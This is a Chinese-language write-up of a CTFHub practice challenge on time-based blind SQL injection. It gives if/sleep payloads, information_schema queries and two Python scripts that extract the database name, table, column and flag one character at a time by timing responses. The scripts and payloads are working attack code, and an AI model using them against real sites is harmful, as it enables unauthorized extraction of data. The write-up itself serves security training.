这个题除了你的SQL语句啥回显都没有,布尔盲注好歹还有个success和error。不过好在这个题没有任何过滤,因此解起来还是挺容易的,用题目所说的时间注入即可。
题目中的SQL语句是select * from news where id=,这里可以借助if表达式进行构造。如果查询成功则sleep几秒,否则就返回一个值。为何成功才sleep呢,主要是节省时间,毕竟,失败次数太多了。
payload举例:
if(xxx,sleep(2),1)
xxx的值需要根据SQL注入的阶段来填写,首先是爆库名,这道题比较贴心,库名就是当前数据库。用到的payload如下:
if(substr(database(),1,1)='a',sleep(2),1)
上述payload中substr截取的长度和后面单引号的值是变化的,这里写了一个简单的脚本:
import requests
url = 'http://challenge-8dec2ad9aa98abc8.sandbox.ctfhub.com:10080/?id='
payload = "if(substr(database(),1,{})='{}',sleep(2),1)"
database = ''
#dabase的名字长度可以调整
for t in range(15):
#flag用于确定database后结束循环
flag = False
for i in range(ord('a'),ord('z')+1):
try:
r = requests.get(url+payload.format(t+1,database+chr(i)),timeout=2)
except:
database+=chr(i)
print(database)
flag = True
break
else:
pass
if not flag:
break
通过该脚本可以得到当前数据库名为sqli。
接下来爆表名,这里替换脚本中的payload为以下payload即可:
if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1 offset 1),1,{})='{}',sleep(2),1)
得到表名为flag。
同理爆列名,payload如下:
if(substr((select column_name from information_schema.columns where table_name='flag' limit 1 offset 0),1,{})='{}',sleep(2),1)
得到列名有flag。
最后查表,得到结果。所用脚本如下:
import requests
url = 'http://challenge-8dec2ad9aa98abc8.sandbox.ctfhub.com:10080/?id='
payload = "if(substr((select flag from flag),1,{})='{}',sleep(2),1)"
database = ''
char_list = [i for i in range(ord('a'),ord('z')+1)]
char_list.append(ord('{'))
char_list.append(ord('}'))
char_list.extend([i for i in range(ord('0'),ord('9')+1)])
print(char_list)
for t in range(50):
flag = False
for i in char_list:
try:
r = requests.get(url+payload.format(t+1,database+chr(i)),timeout=2)
except:
database+=chr(i)
print(database)
flag = True
break
else:
pass
if not flag:
break
如果网络抖动脚本会中断,可以多跑几次。